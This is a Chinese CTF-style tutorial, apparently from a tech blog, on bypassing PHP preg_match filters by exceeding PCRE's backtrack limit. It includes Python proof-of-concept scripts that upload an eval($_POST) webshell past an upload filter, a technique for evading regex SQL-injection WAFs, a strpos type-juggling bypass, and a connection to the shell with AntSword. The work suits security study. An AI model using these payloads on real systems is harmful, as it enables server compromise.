PHP利用PCRE回溯次数限制绕过某些安全限制实战案例

目录

一、正则表达式概述

有限状态自动机

匹配输入的过程分别是:

DFA(确定性有限状态自动机)

NFA(非确定性有限状态自动机)

二、回溯的过程

三、 PHP 的 pcre.backtrack_limit 限制利用

例题一

回溯绕过步骤 :

1、运行结果: 可见无法匹配

2、尝试匹配:依旧无法匹配

3、再次尝试:发现拿到匹配结果

原因:

总结:

1、绕过该正则

例题二

1、利用python语言编写回溯绕过一百万次的脚本

回溯过程模拟:

例题三

文件上传漏洞

1、编写文件上传脚本

2、上传任意一个文件

3、正则回溯

编写回溯脚本

查看并执行python代码是否成功

temp文件出现

使用中国蚁剑进行连接测试


一、正则表达式概述

正则表达式是一个可以被 “有限状态自动机”接受的语言类。

有限状态自动机

        其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

        而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。

匹配输入的过程分别是:

DFA(确定性有限状态自动机)

        从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
 

NFA(非确定性有限状态自动机)

        从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。

二、回溯的过程

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
<?php eval()

if(!is_php($input)) {
    // fwrite($f, $input); ...
}

题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是 <?php phpinfo();//aaaaa,实际执行流程是这样的:

回溯过程

         在第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。

        所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……

        最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

        在调试正则表达式的时候,我们可以查看当前回溯的次数

三、 PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

回溯次数上限默认是 100 万

回溯次数超过了 100 万,返回的非 1 和 0,是 false。

preg_match 返回的非 1 和 0,而是 false。

preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制

所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

对应的 POC 如下:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)
print(res.headers)

四、PCRE 另一种错误的用法

基于 PHP 的 WAF:

例一:

<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

均存在上述问题,通过大量回溯可以进行绕过。

例二:
 

<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:

.+? 匹配到/

因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配*

S 匹配*失败,回溯,再由.+? 匹配*

因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 a

S 匹配 a 失败,回溯,再由.+? 匹配 a

...

 回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:

15434729359306.png!small (690×30)

例题一

<?php
// greeting[]=Merry Christmas&greeting[]=123
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配
}
// greeting[]=123
// $greeting=@$_POST['greeting'];

if(!areyouok($greeting)){
    // NULL != false
    // Null !== false
    // null !== false
    // strpos
    if(strpos($greeting,'Merry Christmas') !== false){   //字符查找,如果查找到返回字符的位置,没有就返回false
        echo 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';
    }else{
        echo 'Do you know .swp file?';
    }
}else{
    echo 'Do you know PHP?';
}

回溯绕过步骤 :

1、运行结果: 可见无法匹配

img

2、尝试匹配:依旧无法匹配

3、再次尝试:发现拿到匹配结果

原因:

此时greeting传递的是数组,元素是123,而 strpos验证的是字符串

img

img

由上可见:在strpos这个对字符串处理的函数中传递数组,那么它将会返回一个NULL

将strpos返回的值NULL与 null !== false 进行对比,如果为真,则进行下去,为假则结束。

当只有一个 = bool(false),返回值为false,程序执行结束​​​

<?php
var_dump(NULL != false);
?>

当有两个 == 时,返回值为true,程序继续执行

<?php
var_dump(NULL !== false);
?>

知识点补充:

PHP中 比较 0、false、null,'' "

松散比较:使用两个等号 == 比较,只比较值,不比较类型。 严格比较:用三个等号 === 比较,除了比较值,也比较类型。 == 在进行比较的时候,会先将字符串类型转化成相同,再比较

0 == false: bool(true)
0 === false: bool(false)

0 == null: bool(true)
0 === null: bool(false)

false == null: bool(true)
false === null: bool(false)

"0" == false: bool(true)
"0" === false: bool(false)

"0" == null: bool(false)
"0" === null: bool(false)

"" == false: bool(true)
"" === false: bool(false)

"" == null: bool(true)
"" === null: bool(false)

img

总结:

1、绕过该正则

插入代码:

greeting[]=123;

 此时绕过第一个正则

接着会返回

  null !== false;

根据严格不相等原则,此时返回结果是true,因此,代码将会继续执行

例题二

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}
​
// 回溯的问题
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        // strpos string postion
        if(strpos($greeting,'Merry Christmas') !== false){
            echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
} else {
    echo 'fuck array!!!';
}
?>
​
​

思路: 只要将if(!areyouok($greeting))为假,并且含有‘Merry Christmas’字符,回溯一百万次即可绕过

1、利用python语言编写回溯绕过一百万次的脚本

from requests import post 

payload = {
    'greeting' : 'Merry Christmas' + 'a' * 1000001
}

url = 'http://127.0.0.1/xss_location/dem04.php'

res = post(url ,data=payload)

回溯超过一百万次后,绕过正则,此时if(!areyouok($greeting))为假,可见最终打印出'Merry Christmas',由此可见绕过完成

回溯过程模拟:

正则回溯实例

例题三

文件上传漏洞

<?php
function is_php($data){ 
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
​
if(empty($_FILES)) {
    die(show_source(__FILE__));
}
​
$user_dir = md5($_SERVER['REMOTE_ADDR']); 
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { 
    exit("bad request");
} else {
    @mkdir($user_dir, 0755); 
    $path = $user_dir . '/' . 'oupeng.php'; 
    //利用move_uploaded_file将临时文件,复制到$path
    move_uploaded_file($_FILES['file']['tmp_name'], $path);
​
    header("Location: $path", true, 303); 
} 
?>

1、编写文件上传脚本

<?php
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Xss-filter</title>
</head>
<body>
    <form action="./file_upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file" id="">
        <input type="submit" value="submit">
    </form> 
</body>
</html>

2、上传任意一个文件

 

注:php上传文件时会生成一个临时文件,当文件上传完成时该临时文件将会自动删除

可以通过设置睡眠时间来将临时文件tmp抓到

<?php
sleep(100);
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);

3、正则回溯

编写回溯脚本

from requests import post 

files = {
    'file' : r'<?php eval($_POST[123]);//' + r'a' * 1000000
}

url = 'http://127.0.0.1/xss_location/demo6.php'

res = post(url ,files=files, allow_redirects=False)

print (res.headers)

查看并执行python代码是否成功

temp文件出现

此时,一句话木马已经写入

使用中国蚁剑进行连接测试

 连接成功,此时已经绕过漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/70204.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

山西电力市场日前价格预测【2023-08-13】

日前价格预测 预测明日&#xff08;2023-08-13&#xff09;山西电力市场全天平均日前电价为351.64元/MWh。其中&#xff0c;最高日前电价为404.00元/MWh&#xff0c;预计出现在19: 30。最低日前电价为306.39元/MWh&#xff0c;预计出现在13: 15。 价差方向预测 1&#xff1a; 实…

《甲午》观后感——GPT-3.5所写

《甲午》是一部令人深思的纪录片&#xff0c;通过生动的画面和真实的故事&#xff0c;向观众展示了中国历史上的一段重要时期。观看这部纪录片&#xff0c;我深受触动&#xff0c;对历史的认识也得到了深化。 首先&#xff0c;这部纪录片通过精心搜集的历史资料和珍贵的影像资料…

stable-diffusion 模型效果+prompt

摘自个人印象笔记&#xff0c;图不完整可查看原笔记&#xff1a;https://app.yinxiang.com/fx/55cda0c6-2af5-4d66-bd86-85da79c5574ePrompt运用规则及技巧 &#xff1a; 1. https://publicprompts.art/&#xff08;最适用于OpenArt 线上模型 https://openart.ai/&#xff09;…

数据库数据恢复-Oracle数据库数据恢复案例

数据库数据恢复环境&#xff1a; Oracle数据库ASM磁盘组有4块成员盘。 数据库故障&分析&#xff1a; Oracle数据库ASM磁盘组掉线 &#xff0c;ASM实例无法挂载&#xff0c;用户联系我们要求恢复oracle数据库。 数据库数据恢复工程师拿到磁盘后&#xff0c;先将所有磁盘以只…

【深度学习】再谈向量化

前言 向量化是一种思想&#xff0c;不仅体现在可以将任意实体用向量来表示&#xff0c;更为突出的表现了人工智能的发展脉络。向量的演进过程其实都是人工智能向前发展的时代缩影。 1.为什么人工智能需要向量化 电脑如何理解一门语言&#xff1f;电脑的底层是二进制也就是0和1&…

centos7 安装 docker 不能看菜鸟教程的 docker 安装,有坑

特别注意 不能看菜鸟教程的 docker 安装&#xff0c;有坑 如果机器不能直接上网&#xff0c;先配置 yum 代理 proxyhttp://172.16.0.11:8443 配置文件修改后即刻生效&#xff0c;再执行 yum install 等命令&#xff0c;就可以正常安装软件了。 参考 https://blog.csdn.net/c…

RCNA——单臂路由

一&#xff0c;实验背景 之前的VLAN实现的很多都是相同部门互相访问&#xff0c;不同部门无法访问。不过这次整来了一个路由器&#xff0c;领导说大部分的部门虽说有保密信息需要互相隔离&#xff0c;但是这些部门和其它部门也应该互相连通以方便工作交流。因此要配置新的环境&…

【VBA入门】WorkBook 对象 Name操作 宏录制筛选删除代码

VBA 入门 问题记录1 了解Excel工作簿、表格关系1 默认新建WorkBook2 新建WorkBook并命名工作表添加数据3新建带有指定数量工作表的工作簿 ActiveWorkbook.Names用法(1) 创建名称 (全局名称和局部名称&#xff09; 宏录制验证删除可行性大招&#xff01;&#xff01;&#xff01…

【数据结构】反转链表、链表的中间节点、链表的回文结构(单链表OJ题)

正如标题所说&#xff0c;本文会图文详细解析三道单链表OJ题&#xff0c;分别为&#xff1a; 反转链表 &#xff08;简单&#xff09; 链表的中间节点 &#xff08;简单&#xff09; 链表的回文结构 &#xff08;较难&#xff09; 把他们放在一起讲的原因是&#xff1a; 反转链…

Springboot3整合使用aj-captcha行为验证码解决方案

截止到目前(2023-04-20)&#xff0c;Springboot最新稳定版本已经迭代到3.0.5&#xff0c;而我们项目中使用的行为验证码框架aj-captcha还没有适配Springboot3&#xff0c;码云上类似的请求也没有得到过回应&#xff0c;于是决定自己动手适配一下&#xff0c;研究下来发现适配3.…

加盐加密算法

MD5加密加盐加密项目密码升级 MD5加密 MD5一系列公式进行复杂数学运算&#xff1b;特点&#xff1a;&#xff08;用途校验和、计算hash值方式、加密&#xff09; 1&#xff1a;定长&#xff1b;无论原始数据多长&#xff1b;算出的结果都是4或者8字节的版本。 2&#xff1a;冲…

Nodejs+vue+elementui汽车租赁管理系统_1ma2x

语言 node.js 框架&#xff1a;Express 前端:Vue.js 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat 开发软件&#xff1a;VScode 前端nodejsvueelementui, 课题主要分为三大模块&#xff1a;即管理员模块、用户模块和普通管理员模块&#xff0c;主要功能包括&#…

【网络编程·网络层】IP协议

目录 一、IP协议的概念 二、IP协议的报头 1、四位首部长度 2、16位总长度&#xff08;解包&#xff09; 3、8位协议&#xff08;分用&#xff09; 4、16位首部校验和 5、8位生存时间 6、32位源IP和32位目的IP 7、4位版本/8位服务类型 8、16位标识 9、3位标志 10、1…

Element组件浅尝辄止2:Card卡片组件

根据官方说法&#xff1a; 将信息聚合在卡片容器中展示。 1.啥时候使用&#xff1f;When? 既然是信息聚合的容器&#xff0c;那场景就好说了 新建页面时可以用来当做页面容器页面的某一部分&#xff0c;可以用来当做子容器 2.怎样使用&#xff1f;How&#xff1f; //Card …

30.基于XML的声明式事务

基于XML的声明式事务 主要是使用XML去代替注解&#xff0c;来实现起到代替注解的作用&#xff0c;实际使用频率很低 将BookServiceImpl.java中的Transactional注解删除&#xff0c;确保用户余额充足 spring-tx-xml.xml <?xml version"1.0" encoding"UTF-8…

Linux:Shell编辑之文本处理器(sed)

目录 绪论 1、sed的原理&#xff1a;读取 执行 显示 三个过程 2、sed 文本内容处理工具&#xff0c;文件过大怎么办&#xff1f; 3、sed的操作选项 3.1 常用选项 3.2 操作符 3.3 行号的范围打印 3.4 对包含指定字符串的内容进行打印 3.5 删 3.5.1 正则表达式删除 3.6…

DNS:使用 bind9 配置主从权威DNS服务器

写在前面 分享一些 使用 bind9 配置主从权威名称服务器的笔记理解不足小伙伴帮忙指正 对每个人而言&#xff0c;真正的职责只有一个&#xff1a;找到自我。然后在心中坚守其一生&#xff0c;全心全意&#xff0c;永不停息。所有其它的路都是不完整的&#xff0c;是人的逃避方式…

Flink多流处理之Broadcast(广播变量)

写过Spark批处理的应该都知道,有一个广播变量broadcast这样的一个算子,可以优化我们计算的过程,有效的提高效率;同样在Flink中也有broadcast,简单来说和Spark中的类似,但是有所区别,首先Spark中的broadcast是静态的数据,而Flink中的broadcast是动态的,也就是源源不断的数据流.在…

笔记本电脑如何把sd卡数据恢复

在使用笔记本电脑过程中&#xff0c;如果不小心将SD卡里面的重要数据弄丢怎么办呢&#xff1f;别着急&#xff0c;本文将向您介绍SD卡数据丢失常见原因和恢复方法。 ▌一、SD卡数据丢失常见原因 - 意外删除&#xff1a;误操作或不小心将文件或文件夹删除。 - 误格式化&#…

【资讯速递】AI与人类思维的融合;OpenAI在中国申请注册“GPT-5”商标;移动大模型主要面向to B 智能算力是未来方向

2023年8月11日 星期五 癸卯年六月廿五 第000001号 欢迎来到爱书不爱输的程序猿的博客, 本博客致力于知识分享&#xff0c;与更多的人进行学习交流 本文收录于IT资讯速递专栏,本专栏主要用于发布各种IT资讯&#xff0c;为大家可以省时省力的就能阅读和了解到行业的一些新资讯 资…